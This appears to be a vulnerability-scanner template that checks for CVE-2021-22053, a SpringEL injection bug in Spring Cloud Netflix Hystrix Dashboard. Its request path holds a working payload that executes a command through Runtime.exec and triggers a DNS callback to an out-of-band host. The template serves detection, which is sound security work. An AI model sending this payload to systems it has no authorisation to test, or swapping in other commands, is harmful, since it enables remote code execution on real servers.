id: CVE-2021-22053

info:
  name: RCE through SpringEL expressions in Spring Cloud Netflix Hystrix Dashboard < 2.2.10.RELEASE
  author: forgedhallpass
  severity: high
  description: |
    Applications using both `spring-cloud-netflix-hystrix-dashboard` and `spring-boot-starter-thymeleaf` expose a way to execute code submitted within the request URI path during the resolution of view templates.
    When a request is made at `/hystrix/monitor;[user-provided data]`, the path elements following `hystrix/monitor` are being evaluated as SpringEL expressions, which can lead to code execution.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22053
    - https://github.com/SecCoder-Security-Lab/spring-cloud-netflix-hystrix-dashboard-cve-2021-22053
    - https://tanzu.vmware.com/security/cve-2021-22053
  classification:
    cvss-score: 8.8
    cve-id: CVE-2021-22053
    cwe-id: CWE-94
  tags: rce,spring,cve,cve2021

requests:
  - method: GET
    path:
      - '{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("nslookup {{interactsh-url}}")}__::.x/'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 500
      - type: word
        part: interactsh_protocol
        words:
          - "dns"